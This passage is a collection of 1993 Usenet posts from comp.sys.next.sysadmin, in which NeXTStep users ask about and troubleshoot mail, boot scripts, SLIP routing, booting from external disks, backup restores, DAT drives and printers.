Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin From: kinch@valve.heart.rri.uwo.ca (Dave Kinchlea) Subject: What does NeXTMail do during `undelete' command? Organization: Heart Valve Group, John P. Robarts Research Institiute, London, Ont. Canada Date: Fri, 8 Jan 1993 18:00:37 GMT Message-ID: <1993Jan8.180037.23392@julian.uwo.ca> Followup-To: comp.sys.next.sysadmin Sender: news@julian.uwo.ca (USENET News System) Howdy I am having a problem with NeXTMail. My users' directories are NFS mounted onto a Personal Iris but the /usr/spool/mail is local. When one of my users issues a `Undelete' command from inside of NeXTMail, my PI disk fills up AND the load on the PI machine continues to grow until there is nothing left to do but pull the plug. In trying to determine what the problem is it seems necessary to determine what NeXTMail is up to during this `Undelete' operation. Could anyone in the know please tell me. I assumed that it would simply make a copy of mbox sans any deleted messages but that simply does not seem to be the case. I can provide more info to any who want but understanding the problem isn't necessary in order to explain what NeXTMail is *supposed* to do with this command. cheerskinch -- Dave Kinchlea email: kinch@valve.heart.rri.uwo.ca Snail-mail: System Administrator/Research Programmer John P. Robarts Research Institute. P.O. Box 5015, 100 Perth Drive, London, Ont, Canada N6A 5K8 A Real Live Voice: (519)-663-5777-x4406 ".... 2 to the power 759 million to 1 and falling ..." HHGTG
Newsgroups: comp.sys.next.sysadmin From: royce@splunge.uucp (Royce Howland) Subject: Re: rc.local? Message-ID: <1993Jan8.145805.18068@splunge.uucp> Organization: Ashley, Howland & Wood References: <1993Jan7.213419.7488@ornl.gov> Date: Fri, 8 Jan 1993 14:58:05 GMT woo@ornl.gov (John W. Wooten) writes: >I have a file rc.local in which I start my gopher daemon >and a supersrv daemon. Under 2.1 this worked fine. Now I find that >under 3.0, the script starts and prints out the >Starting local daemons: >and then the final . >In between are the parts to start the two daemons and they don't get >started! >If as su, I type sh /etc/rc.local (exactly what is in the rc script), >then the rc.local starts both daemons fine. >Any ideas on what I'm doing wrong? >- - - - - - - - - It's possible that your rc.local depends on some environment variables or other conditions being in place when it runs, and that such conditions are in place when you sh /etc/rc.local, and were in place under NS2.x, but are no longer in place under NS3.0. Think about things like the PATH and so on. Think about what else may be set when you're logged in as root (via su) that may not be set when the machine is booting. Put some diagnostic messages in rc.local, so you can at least see what's happening. If rc.local is doing things like if [ foo ]; then blah, blah, blah fi then modify this to be if [ foo ]; then blah, blah, blah else (echo Condition foo failed...) >/dev/console fi -- Royce Howland, DKW Systems Corp. | "And since OS/2 2.0 is a 32-bit Everything is IMHO | operating system, programs are easier royce@splunge.uucp (NeXTMail OK) | to write and run faster, too." or kakwa!atlantis!splunge!royce | ad for OS/2 2.0
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: obrooks@dale.ksc.nasa.gov(Oscar Brooks) Subject: Score file -> Snd file ?? Message-ID: <1993Jan8.203046.3491@dale.ksc.nasa.gov> Keywords: Score , Sound, Music Sender: news@dale.ksc.nasa.gov Organization: NASA Date: Fri, 8 Jan 1993 20:30:46 GMT Can anyone tell me how to convert a score file to a sound (snd) file? Thanks! Oscar -- ------------------------------------------------ Oscar Brooks NASA, Real Time Systems Branch Kennedy Space Center, Fla. 32899 Mail Code: DL-DSD-24
Newsgroups: comp.sys.next.sysadmin From: ian_stewart@pyrian.com (Ian H. Stewart) Subject: Icon for scripts Message-ID: <1993Jan8.001720.246@pyrian.com> Sender: ian@pyrian.com Organization: PYRIAN - Software Group, San Francisco Calif, 415-664-1170 Date: Fri, 8 Jan 1993 00:17:20 GMT How do i assign an Icon to a shell script. It looks really bad to have the normal icon. I was trying to firgue out how to add an extension and then where do I put the Icon resource so that Workspace will relate the two together. Any answers is appreciated. -- Ian H. Stewart | voice/fax 415-664-1170 Pyrian Software Group | CIS 71101,1260 Always looking for new SW to market | Net Ian_Stewart@pyrian.com NeXT,Mac,PC & Sun | Isn't LiFE more like RiSK?
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.software Subject: Re: Score file -> Snd file ?? Date: 8 Jan 1993 21:39:59 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <1iksbf$88i@agate.berkeley.edu> References: <1993Jan8.203046.3491@dale.ksc.nasa.gov> In article <1993Jan8.203046.3491@dale.ksc.nasa.gov> obrooks@dale.ksc.nasa.gov(Oscar Brooks) writes: >Can anyone tell me how to convert a score file to a sound (snd) >file? playscore can do this according to the man page. See man playscore. or ScorePlayer.app which is in MusicKit from CCRMA can do this. It can convert between a lot of formats including snd, midi, playscore, and DSP commands from the Save As menu button. Get MusicKit 3.1 from ccrma-ftp.stanford.edu. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: joe@mathcs.emory.edu (Joe Christy) Newsgroups: comp.sys.next.sysadmin Subject: Thick vs. Thin 3.0 Date: 8 Jan 1993 17:01:14 -0500 Organization: Mathematical Sciences Research Institute Distribution: world Message-ID: <1iktjaINN2is@emory.mathcs.emory.edu> Summary: What's the difference Does anyone have a diff of the files in NeXTStep 3.0 as installed on a 400Meg disk as compared to what gets installed on a 100Meg disk? Joe Christy | Head of Mathematical Computing | Two wrongs joe@msri.org | Mathematical Sciences Research Institute | don't make a right, (510)643-6069 | 1000 Centennial Drive | but three lefts do **************| Berkeley, CA 94720 |********************
From: gary@msu.edu (Gary J LaPointe) Newsgroups: comp.sys.next.sysadmin Subject: NeXTMail and .signature file Date: 9 Jan 1993 05:00:44 GMT Organization: Michigan State University Message-ID: <1ilm5sINNf13@msuinfo.cl.msu.edu> >Under 3.0 NeXTMail is not using the .signature file to append my name to >messages. News does this and I thought 2.0 mail did. Does it in 2.0, I've never figured out how to get NeXTmail (Mail.app) to do a sig-type file? If it does please let me know. -- Gary J LaPointe gary@ah3.cal.msu.edu Michigan State University Center For Integrative Studies, Arts & Humanities
From: gary@msu.edu (Gary J LaPointe) Newsgroups: comp.sys.next.sysadmin Subject: VT100 codes(?) send funny characters on the modem? Date: 9 Jan 1993 05:13:09 GMT Organization: Michigan State University Message-ID: <1ilmt5INNf13@msuinfo.cl.msu.edu> When I dial in to the NeXT, with kermit (PC or Mac) occasionally some scrren control codes don't work properly. Generally it is around the time that the screen should be cleared, but sometimes the screen does clear (it always works in the same place and always goofs up in the same places). Generally I get it when I log on, before the first prompt appears, but I get it when I quit a few programs and lots of times in the Goper client (1.1 I think?) Sometimes it goofs up with words in the man pages, I think thos words are inverse or underlined. The most common code is ?[;H?[2J and it generally starts with ?[; but not always. It NEVER errors when I am running terminal from the console, and I don't think it errors when I use NCSA telnet on the Mac (TCP mode). Any suggestions?? It doesn't bother me much, but the others using the modem don't like it very much and worry about the strange chracters, especally when screenfuls of information overwrite themselves. -- Gary J LaPointe gary@ah3.cal.msu.edu Michigan State University Center For Integrative Studies, Arts & Humanities
Newsgroups: comp.sys.next.sysadmin From: jmack@space.ualberta.ca (Jim MacKinnon) Subject: Solution to -NXHost re-directs with SLIP Message-ID: <1993Jan9.080053.25350@kakwa.ucs.ualberta.ca> Keywords: SLIP Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada Date: Sat, 9 Jan 1993 08:00:53 GMT (for DialupIP version 920904) DialupIP will support '-NXHost' transactions across the slip interface. To set this up on my remote client, I started up the slip.rc early in the rc boot, and prevented en0 from being enabled in hostconfig. Thus slip0 will be the only interface up on the client. You will get a couple of warnings from nmserver (it will use a broadcast of 255.255.255.255) but it's not fatal, and from then on, -NXHost re-directs will work in either direction (although slowwwerr :-) ). Also be sure that 'fake' arp entries exist on the server for the remote client(s) as permanent and published. This can be accomplished by adding an appropriate arp command at the end of slip.rc (This makes the server a gateway to your client from the rest of the internet - assuming also that the client's name and IP is fully registered in your domain - and will allow connectivity internet-wide). Cheers, -- James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab Center for Subatomic Research Phone : (403) 492-8226 Department of Physics email : jmack@phys.ualberta.ca University of Alberta uucp : uofaphys!jmack iskye!jmack Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
Newsgroups: comp.sys.next.sysadmin From: eoliver@ralph.cs.haverford.edu (Erik Oliver) Subject: Re: rc.local Message-ID: <4CMWBJFH@cc.swarthmore.edu> Sender: news@cc.swarthmore.edu (USENET News System) Organization: Haverford College Computer Science Department References: <1993Jan8.150428.29811@neptune.inf.ethz.ch> Date: Sat, 9 Jan 1993 16:22:04 GMT In article <1993Jan8.150428.29811@neptune.inf.ethz.ch> rpajarol@iiic.ethz.ch (Renato Bruno Pajarola) writes: >Hi people, >since I have the new NextStep3.0, over all it's very good, I can't do >some things I did bevore. > >Especially things I want to do at boot-up time. > >In NS2.1 I had entries in the rc.local to play a sound and to power the >printer off. The entries looked something like this: > >sndplay /LocalLibrary/Sounds/mysound.snd & > >... > >nppower off > >... > > As a rule of thumb, you should include full paths in 'rc' and 'cron' run scripts because frequently environment variables that might normally assist unix in finding executables are not avaialable. Peraps under 2.0 either the PATH environement was set somehow by the time rc.local ran or these executables were stored somewhere different, I can't say. But, I would suggest trying to type the whole path out: eg: /usr/bin/runthisapp Etc. Also, there may be some issues involving when disk mounting occurs preventing the sounds from playing. (I can't really say.) -Erik
From: ambi@it-next2.bu.edu (Michael Amirault) Newsgroups: comp.sys.next.sysadmin Subject: URGENT HELP: restore with od's not working!! Message-ID: <106628@bu.edu> Date: 9 Jan 93 18:02:58 GMT Sender: news@bu.edu Here's the problem: I performed a level 0 dump using the following command: % dump 0o /dev/sd2a This dumped the contents of the drive to two NeXT optical disks. However when doing a restore via: % restore rjvf /dev/od1a It will read and restore the first disk fine but then won't eject the first disk when it needs the second. It keeps reporting that the disk in the wrong one. HELP!! How do I get my data off of the second disk?? I've tried all sort of permutations of the restore command and all of them fail when the program says it's ejecting the first disk and waiting for the second but never actually ejected the first disk. This problem is with a NeXTCube '040 running NeXTStep 3.0. Any help would be greatly appreciated! Mike
Newsgroups: comp.sys.next.sysadmin From: bob@MorningStar.Com (Bob Sutterfield) Subject: Re: PPP and/or SLIP drivers for a NeXTstation Turbo (sys2.2) In-Reply-To: kluge@avalon.physik.unizh.ch's message of Thu, 7 Jan 1993 23: 43:36 GMT Message-ID: <BOB.93Jan9154418@roughy.MorningStar.Com> Sender: news@MorningStar.Com Organization: Morning Star Technologies References: <1993Jan5.160333.493@bvl.pt> <1993Jan7.234336.4131@ifi.unizh.ch> Date: Sat, 9 Jan 1993 20:44:26 GMT In article <1993Jan7.234336.4131@ifi.unizh.ch> kluge@avalon.physik.unizh.ch (kluge daniel) writes: Besides, there is an interesting paper, covering SLIP and PPP available at most ftp-sites (sonata, ftp.acns.nwu.edu)... You might also enjoy ftp.uu.net:vendor/MorningStar/papers/sug91-cheapIP*. -- Bob Sutterfield, Morning Star Technologies +1 614 451 1883 1760 Zollinger Rd, Columbus Ohio USA, 43221 +1 800 558 7827 bob@MorningStar.Com +1 614 459 5054 (FAX)
Newsgroups: comp.sys.next.sysadmin From: hpcg9070@uxa.cso.uiuc.edu (H Prasad Cherukuri) Subject: help with rebooting Message-ID: <C0Lx92.48D@news.cso.uiuc.edu> Summary: trouble rebooting Sender: usenet@news.cso.uiuc.edu (Net Noise owner) Organization: University of Illinois at Urbana Distribution: usa Date: Sat, 9 Jan 1993 22:03:02 GMT Keywords: IO error, pageout, file system I am having trouble rebooting one of our NeXT machines. The machines use NeXTStep 3.0. I tried to reboot it in all the possible ways(as mentioned in the book NeXTSTEP NETWORK and SYS. ADM.on page: 235-237) except the emergency shutdowns. Everytime I try to reboot, the machine after running fsck and obtaining the hostname from the master server, chokes by saying, /: file system full IO error on pageout: error = 28 vnode_pageout : failed! Anyone have any idea what the error no. 28 is? I tried to look it up in the above mentioned manual. But I couldn't find it. I think that fsck runs fine since one of the rebooting messages says file system clean. What is pageout, anyway? (I don't know if this matters, but all the other client machines are running just fine).I assume therefore that the master server is running fine too. I appreciate it very much if someone could help me with this. thanks very much sincerely Harish Cherukuri harish@uxa.cso.uiuc.edu
Newsgroups: comp.sys.next.sysadmin From: ntomczak@vega.math.ualberta.ca (N Tomczak-Jaegermann) Subject: Re: Help! Installing 3.0 on external HD Message-ID: <ntomczak.726619722@vega> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993Jan5.222822.5009@midway.uchicago.edu> <1ij5llINN82m@spock.dis.cccd.edu> Date: Sat, 9 Jan 1993 22:48:42 GMT I had a misfortune to train thourougly booting from other devices than a default sd0 :-). The following procedure works consistently for me (assuming here that sd2a, say, contains all files necessary for booting in a multi-user mode). Some steps are obviously for situations when you cannot boot from sd0a and changing ID's is not an option for some reasons. a) Boot from floppy (you have boot floppy, don't you?) in a single user mode and modify /etc/fstab on your intended boot device to mount the proper file system and not sd0a. In our sample resulting line will be: /dev/sd2a / 4.3 rw,noquota,noauto 0 1 instead of an original /dev/sd0a / 4.3 rw,noquota,noauto 0 1 To get an access to this file you will have to mount ( say '/usr/etc/mount /dev/sd0a /tmp/hd') manually. Use -n option and writable directory if you are booting from CD-ROM or from floopy which starts CD-ROM. BTW - can somebody tell me how to use 'remount' option. Is not documented on 'man-page' and always barfs on me. b) Go back to monitor and 'halt'. c) At 'NeXT>' prompt type 'bsd(2,0,0)-a'. This means 'ask for root device'. An option 'rootdev=sd2' never worked for me. d) When asked for root device type 'sd2' and hopefuly you are back in business. e) Restore /etc/fstab to a pristine state. You will likely forget that later and in that case you may start the whole procedure once again from scratch. :-) Lets hope that you will never have to use that knowledge. Michal Jaegermann ntomczak@vega.math.ualberta.ca
From: brad@optilink.COM (Brad Yearwood) Newsgroups: comp.sys.next.sysadmin Subject: Lost NeXT printer in 3.0 upgrade - how to get it back? Message-ID: <13851@optilink.COM> Date: 10 Jan 93 01:59:20 GMT Organization: Optilink Corporation, Petaluma, CA [I am writing this on behalf of someone with a machine up in the outer redwood boondocks.] After upgrading from 2.x (exact release unknown - somebody else's machine, and he ran the upgrade without noting the old release) to 3.0, the NeXT laser printer no longer functions. Powering the printer down and up with /usr/etc/nppower works, so there doesn't appear to be a physical problem. PrintManager stubbornly refuses to allow a NeXT printer to be added - the printer names list has an entry for "NeXT 400 dpi Level II Printer", but it is grayed out, and none of other little menu items let me select the Printer port. I did "nidump printcap .", and found two entries: one for "Local Printer", and one for "Local_Printer". I couldn't get rid of "Local Printer" with niload, so I got into NetInfoManager and deleted both printer entries, in hopes that PrintManager would let me start fresh, or would automatically build an entry for the NeXT printer. No such luck. I built a printcap entry by hand from the residue of the original nidump, and niload'ed it. It doesn't work, and an attempt to do Modify in PrintManager complains that it can't understand the printer description. Has anyone else seen loss of the NeXT printer after 3.0 upgrade? If you have a known good printcap entry which I can niload, or a set of specific items to verify through NetInfoManager, and a list of any other files which need to be in place (any copies or links under /usr/lib/NextPrinter or wherever) to make the NeXT printer work under 3.0, or any other applicable rituals, I would very much appreciate hearing. Shame on NeXT for not providing any comprehensive documentation explaining the increasingly intricate printer world in 3.0. If something breaks, it seems impossible to diagnose and impossible to fix. Brad Yearwood brad@optilink.com {uunet, pyramid}!optilink!brad Petaluma, CA
Newsgroups: comp.sys.next.sysadmin From: kgnome@cs.concordia.ca (MATIS stephane) Subject: Re: Help! Installing 3.0 on external HD Message-ID: <C0MCvs.3qD@newsflash.concordia.ca> Sender: usenet@newsflash.concordia.ca (USENET News System) Organization: Computer Science, Concordia University, Montreal, Quebec References: <1993Jan5.222822.5009@midway.uchicago.edu> <1ij5llINN82m@spock.dis.cccd.edu> <ntomczak.726619722@vega> Date: Sun, 10 Jan 1993 03:40:40 GMT Hello Folks! I have a related question. I have just installed 3.0 on my external Fujitsu 2624F and decided to make the internal Quantum into a swapdrive. But, I wanted a 50/50 disk. So, I go off to format and build the Quantum and the "partition" button is hazed. Why ? Ok, I ignore it, and build the disk with "swapdisk" as name. No problemo ?... ok it worked but then during boot-up I get lot's of complaints from the machine (cannot swap to /private/vm/swafile.front) and it seem to swap to external. Finally, with all this... I cannot get the "recycler" to work. My questions are : 1. How can I get my internal quantum to partition 50/50, so that I can build half for emergency boot and the other for swapping. 2. Why am I having "recycler" problems. Thanks folks... +---------------------------------+ ___ ___ ___ | Stephane I. Matis | / \_BATLLETECH /\__\ Viva NeXT! | E-Mail : kgnome@cs.concordia.ca | \___/ \___/ \/__/ NeXTSTEP 3.0! | "It Just Works..." - Steve Jobs | \___/ +---------------------------------+ Wolfnet Operative & NeXThead
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: grw@oahu.cs.ucla.edu (George Wu) Subject: Using tar with a SCSI DAT drive Message-ID: <1993Jan10.090824.24470@cs.ucla.edu> Sender: usenet@cs.ucla.edu (Mr Usenet) Organization: UCLA, Computer Science Department Distribution: usa Date: Sun, 10 Jan 93 09:08:24 GMT I recently installed an Archive Python SCSI DAT drive on my system (NeXTStation Mono running NS 2.1) for backup purposes. However, I have been unable to use tar on the drive. I always get an 'I/O error' when I run tar and the associated SCSI error is as follows. st: cmd = 0x15 sr_io_status = 2H Sense key = 0x5 Sense Code = 0x1a According to scsireg.h the SCSI command causing the problem is MODE SELECT and the sense key (0x5) indicates invalid request. Does anyone know the solution to this problem ? Any help is appreciated. George Wu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: cowboy@trans.csuohio.edu (Joe Rosenfeld) Subject: Re: Using tar with a SCSI DAT drive Message-ID: <1993Jan10.115715.5128@news.csuohio.edu> Followup-To: comp.sys.next.sysadmin,comp.sys.next.misc Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University References: <1993Jan10.090824.24470@cs.ucla.edu> Distribution: usa Date: Sun, 10 Jan 1993 11:57:15 GMT George Wu (grw@oahu.cs.ucla.edu) wrote: : I recently installed an Archive Python SCSI DAT drive on my system : (NeXTStation Mono running NS 2.1) for backup purposes. However, I : have been unable to use tar on the drive. I always get an 'I/O error' : when I run tar and the associated SCSI error is as follows. : st: cmd = 0x15 sr_io_status = 2H : Sense key = 0x5 Sense Code = 0x1a : According to scsireg.h the SCSI command causing the problem is MODE : SELECT and the sense key (0x5) indicates invalid request. Does anyone : know the solution to this problem ? Any help is appreciated. : George Wu Well, it would have helped if you indicated your command line for tarring. I have the same drive, and I can tar, no problems at all, with this comman line syntax (from root /): tar -xvf /dev/rst0 * I usually use gnutar with this syntax: gnutar -xvpf /dev/rst0 * Give it a try. My current DAT scsi id is "6" | Joe Rosenfeld cowboy@trans.csuohio.edu | CSU Law Library joer@inca.law.csuohio.edu | "We look for things ... to make us go!"
Newsgroups: comp.sys.next.sysadmin From: tilley@ccu.umanitoba.ca (Richard Tilley) Subject: Re: Solution to -NXHost re-directs with SLIP Message-ID: <C0n41o.16s@ccu.umanitoba.ca> Keywords: SLIP Sender: news@ccu.umanitoba.ca Organization: University of Manitoba, Winnipeg, Canada References: <1993Jan9.080053.25350@kakwa.ucs.ualberta.ca> Date: Sun, 10 Jan 1993 13:27:23 GMT In <1993Jan9.080053.25350@kakwa.ucs.ualberta.ca> jmack@space.ualberta.ca (Jim MacKinnon) writes: >(for DialupIP version 920904) >DialupIP will support '-NXHost' transactions across >the slip interface. To set this up on my remote >client, I started up the slip.rc early in the rc >boot, and prevented en0 from being enabled in >hostconfig. Thus slip0 will be the only interface Doesn't this make the local ethernet port kinda useless? ... Richard -- This space is not blank!
Newsgroups: comp.sys.next.sysadmin From: heller@heller.slip.uiuc.edu (Helmut Heller) Subject: Re: Solution to -NXHost re-directs with SLIP References: <C0n41o.16s@ccu.umanitoba.ca> Message-ID: <C0nBHq.49x@news.cso.uiuc.edu> Sender: usenet@news.cso.uiuc.edu (Net Noise owner) Organization: University of Illinois at Urbana Date: Sun, 10 Jan 1993 16:08:13 GMT In article <C0n41o.16s@ccu.umanitoba.ca> tilley@ccu.umanitoba.ca (Richard Tilley) writes: > In <1993Jan9.080053.25350@kakwa.ucs.ualberta.ca> jmack@space.ualberta.ca (Jim MacKinnon) writes: > > >(for DialupIP version 920904) > > >DialupIP will support '-NXHost' transactions across > >the slip interface. To set this up on my remote > >client, I started up the slip.rc early in the rc > >boot, and prevented en0 from being enabled in > >hostconfig. Thus slip0 will be the only interface > > Doesn't this make the local ethernet port kinda useless? > > .... Richard Yes, it does! I found that I can't have both: a local en0 ethernet interface AND -NXHost over SLIP. Only either or. Someone once told me that is because Mach routes the -NXHost packets always to the ethernet interface. I don't understand what is going on, just my experience says: EITHER en0 OR -NXHost over SLIP, but not both. I would really like to hear if s.o. actually succeeded to do both at the same time: use -NXHost over SLIP and also use, say telnet, over the ethernet (en0) interface of the same machine. -- Servus, Helmut (W9/DH0MAD) ______________NeXT-mail preferred________________ heller@lisboa.ks.uiuc.edu "Knowledge must be gathered and cannot be given" FAX: (217)244-6078 ZEN, one of BLAKES7 Phone: (217)244-6914 ------------------------------------------------- Helmut Heller, University of Illinois at Urbana-Champaign, Beckman Institute Theoretical Biophysics Group, Room 3143, MC 251
Newsgroups: comp.sys.next.sysadmin From: dmitri@physics (Dmitri Linde) Subject: Re: Solution to -NXHost re-directs with SLIP References: <C0n41o.16s@ccu.umanitoba.ca> <C0nBHq.49x@news.cso.uiuc.edu> Sender: nobody@ctr.columbia.edu Organization: Stanford U. Date: Sun, 10 Jan 1993 17:33:20 GMT Message-ID: <1993Jan10.173320.10113@sol.ctr.columbia.edu> >I would really like to hear if s.o. actually succeeded to do both at the same >time: use -NXHost over SLIP and also use, say telnet, over the ethernet (en0) >interface of the same machine. Actually it is possible and very easy. Here is my setup: linde (home machine) 36.92.0.118 running Marble SLIP as client physics (machine at Stanford U.) 36.92.0.18 running Marble SLIP as server with du0 (slip0) ip address=147.135.1.184 elrond (another machine at home which is connected to linde using ethernet) 36.92.0.19 Here are routing tables for linde: linde> netstat -rn Routing tables Destination Gateway Flags Refs Use Interface 147.135.1.184 36.92.0.118 UH 3 8913 du0 127.0.0.1 127.0.0.1 UH 2 2652 lo0 36.92.0.18 147.135.1.184 UGH 2 515 du0 36.92.0.19 36.92.0.19 UGH 0 138 en0 36.92.0.118 127.0.0.1 UH 9 11745 lo0 default 147.135.1.184 UG 0 1400 du0 linde> Notice: 36.92.0.19 36.92.0.19 means that when linde wants to connect to elrond it will not use the default route to physics (147.135.1.184) but instead it will use 36.92.0.19 thu en0 (ethernet). On both linde and physics I have the file /etc/resolv.conf contain the following domain stanford.edu nameserver 36.56.0.151 nameserver 36.21.0.20 nameserver 36.8.0.47 It specifies my domain and the nameservers to use. Make sure you have something like this otherwise you will not be able to connect to hosts by name rather than ip address. (you must get your own nameservers) Now, on physics I have to use arp command. Here is the command I use in rc.local sleep 15;arp -s linde 0:0:0f:00:9b:00 pub& This will advertize linde to the local net. The result is that from linde I can telnet (or connect in any other way) to/from any other Internet connected machine in the world. From linde I can also connect to elrond by simply telnet elrond (elrond and linde and physics are defined in NetInfo database so it does not have to find out the address of elrond. If it did try to find out the address of elrond it would not get 36.92.0.19 from the nameserver, and it would probably get 'host unknown') And it works! Also the -NXHost from physics to linde works perfectly: physics> Date -NXHost linde This makes the Date application pop up on linde and lets me use it. (It is however slow...) Regards, Dmitri Linde dmitri@physics.stanford.edu
Newsgroups: comp.sys.next.sysadmin From: bmwu@athena.mit.edu (Benson M. Wu) Subject: Help Repair OD!!! Message-ID: <1993Jan10.192145.3752@athena.mit.edu> Keywords: unrecognizable optical disk I am running a 68040 Cube with NeXTStep 2.1. Sender: news@athena.mit.edu (News system) Organization: Massachusetts Institute of Technology Distribution: na Date: Sun, 10 Jan 1993 19:21:45 GMT When I inserted the optical disk in, a panel would come up telling me that the disk needs repair and asked me whether I would like to repair, initialize, or ignore it. When I click on repair, the OD drive will spin up and down several times and then tell me that it can't repair. So I start reading the manuals. I used fsck interactively and with the -y option several times with this optical disk. the following is a transcript produced by the various fsck commands. It is consistently reproducible. cube# fsck -y /dev/rod0a ** /dev/rod0a ** Last Mounted on /benson2 ** Phase 1 - Check Blocks and Sizes CANNOT READ: BLK 205200 CONTINUE? yes THE FOLLOWING SECTORS COULD NOT BE READ: 205204, CANNOT READ: BLK 218168 CONTINUE? yes THE FOLLOWING SECTORS COULD NOT BE READ: 218172, CANNOT READ: BLK 218264 CONTINUE? yes THE FOLLOWING SECTORS COULD NOT BE READ: 218268, ** Phase 2 - Check Pathnames CANNOT READ: BLK 187952 CONTINUE? yes THE FOLLOWING SECTORS COULD NOT BE READ: 187956, ** Phase 3 - Check Connectivity ** Phase 4 - Check Reference Counts ** Phase 5 - Check Cyl groups BLK(S) MISSING IN BIT MAPS SALVAGE? yes CANNOT WRITE: BLK 205432 CONTINUE? yes THE FOLLOWING SECTORS COULD NOT BE WRITTEN: 205432, 205433, 2128 files, 200055 used, 33011 free (1299 frags, 3964 blocks, 0.6% fragmentation ) File system not may not be clean! Run fsck again to clean. From the above transcript, I know that some sectors are just not recoverable since they can't be read or written. However, even after I ran fsck, the system still won't recognize this optical disk. I would appreciate any advice at this point. Is there any unix utilities out there that will recover files for you like the Norton Utilities for the Mac or PC? This is one program I would be willing to shell out top $$$ for. Best regards, Benson Wu bmwu@athena.mit.edu (No NeXTMail please)
From: olson@anchor.esd.sgi.com (Dave Olson) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc Subject: Re: Using tar with a SCSI DAT drive Message-ID: <un8fkqo@zuni.esd.sgi.com> Date: 10 Jan 93 19:47:53 GMT References: <1993Jan10.090824.24470@cs.ucla.edu> Sender: news@zuni.esd.sgi.com (Net News) Distribution: usa Organization: Silicon Graphics, Inc. Mountain View, CA In <1993Jan10.090824.24470@cs.ucla.edu> grw@oahu.cs.ucla.edu (George Wu) writes: | I recently installed an Archive Python SCSI DAT drive on my system | (NeXTStation Mono running NS 2.1) for backup purposes. However, I | have been unable to use tar on the drive. I always get an 'I/O error' | when I run tar and the associated SCSI error is as follows. | | st: cmd = 0x15 sr_io_status = 2H | Sense key = 0x5 Sense Code = 0x1a | | According to scsireg.h the SCSI command causing the problem is MODE | SELECT and the sense key (0x5) indicates invalid request. Does anyone | know the solution to this problem ? Any help is appreciated. sense code 1a indicates parameter overrun, which presumably means that one of the bytes in the command is out of range. Perhaps you (or the driver) is trying for a blocksize that the drive doesn't support? -- Let no one tell me that silence gives consent, | Dave Olson because whoever is silent dissents. | Silicon Graphics, Inc. Maria Isabel Barreno | olson@sgi.com
Newsgroups: comp.sys.next.sysadmin From: zeke@znext (james dehnert) Subject: Re: Help! Installing 3.0 on external HD Message-ID: <1993Jan10.170814.9221@znext.cts.com> Sender: zeke@znext.cts.com (james dehnert) Organization: pnet References: <ntomczak.726619722@vega> Date: Sun, 10 Jan 1993 17:08:14 GMT In article <ntomczak.726619722@vega> ntomczak@vega.math.ualberta.ca (N Tomczak-Jaegermann) writes: - I had a misfortune to train thourougly booting from other devices than - a default sd0 :-). . . . - b) Go back to monitor and 'halt'. - c) At 'NeXT>' prompt type 'bsd(2,0,0)-a'. This means 'ask - for root device'. An option 'rootdev=sd2' never worked for me. This looked a bit wrong to me, so i checked it out in the reboot man page. The syntax of the b boot command is: device[(ctrl,unit,part)][file][flags] where device is the type of the device to be searched, ctrl is the controller number, unit is the unit number of the disk or tape, and part is the disk partition number. so the syntax should be 'b sd(0,2,0)' to boot off of sd2 partition a. The NeXT only has one controller ( unless you have an extra cpu card a la Spherical ) an that one defaults to 0. The syntax provided would probably confuse the system, and the -a flag is what saves you. It looks for controler 2, cant find it, and then defaults to 0 because thats the only one. It's still not sure what you want, but you did use that -a flag, so it asks, then your on your way. I bet that 'b sd -a' would work just as well in this situation. Zeke - - Michal Jaegermann - ntomczak@vega.math.ualberta.ca - -- +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ =+ += Eschew Obfuscation Next Mail Welcome =+ += += =+ James "Zeke" Dehnert zeke@znext.cts.com += =+ =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
From: ambi@it-next2.bu.edu (Mike Amirault) Newsgroups: comp.sys.next.sysadmin Subject: Re: URGENT HELP: restore with od's not working!! Message-ID: <106677@bu.edu> Date: 11 Jan 93 00:24:11 GMT References: <106628@bu.edu> Sender: news@bu.edu In article <106628@bu.edu> ambi@it-next2.bu.edu (Michael Amirault) writes: > > Here's the problem: > > I performed a level 0 dump using the following command: > > % dump 0o /dev/sd2a > > This dumped the contents of the drive to two NeXT optical disks. > However when doing a restore via: > > % restore rjvf /dev/od1a > I figured out the problem. Doind a restore with the command: % restore rjvf /dev/rod1a will work and eject the disk, whereas the command: % restore rjvf /dev/od1a will not eject the disk... mike
From: matthews@oberon.umd.edu (Mike Matthews) Newsgroups: comp.sys.next.sysadmin Subject: Re: Help! Installing 3.0 on external HD Message-ID: <17898@umd5.umd.edu> Date: 11 Jan 93 01:30:16 GMT References: <ntomczak.726619722@vega> <1993Jan10.170814.9221@znext.cts.com> Sender: news@umd5.umd.edu Organization: Los Alamos National Laboratory, NM In article <1993Jan10.170814.9221@znext.cts.com> zeke@znext.cts.com writes: > so the syntax should be > 'b sd(0,2,0)' to boot off of sd2 partition a. The NeXT only has one >controller ( unless you have an extra cpu card a la Spherical ) an that one >defaults to 0. The syntax provided would probably confuse the system, and the Um, no. The first number is the SCSI ID, the second is the LUN (which lots of people theorize will always be 0 on the NeXTs because they only have one SCSI channel; makes sense to me but I can't confirm or deny it personally), and the last is the partition number. It loads the boot block off the device you ask for (it *may* check all devices if the first one fails, but my experience with that suggests it doesn't), and then it boots the kernel off of whatever device has it, starting with the one you specify (e.g. a bsd(2,0,0) will check SCSI ID 2 for a kernel, and if it can't find that, it'll check the rest of your 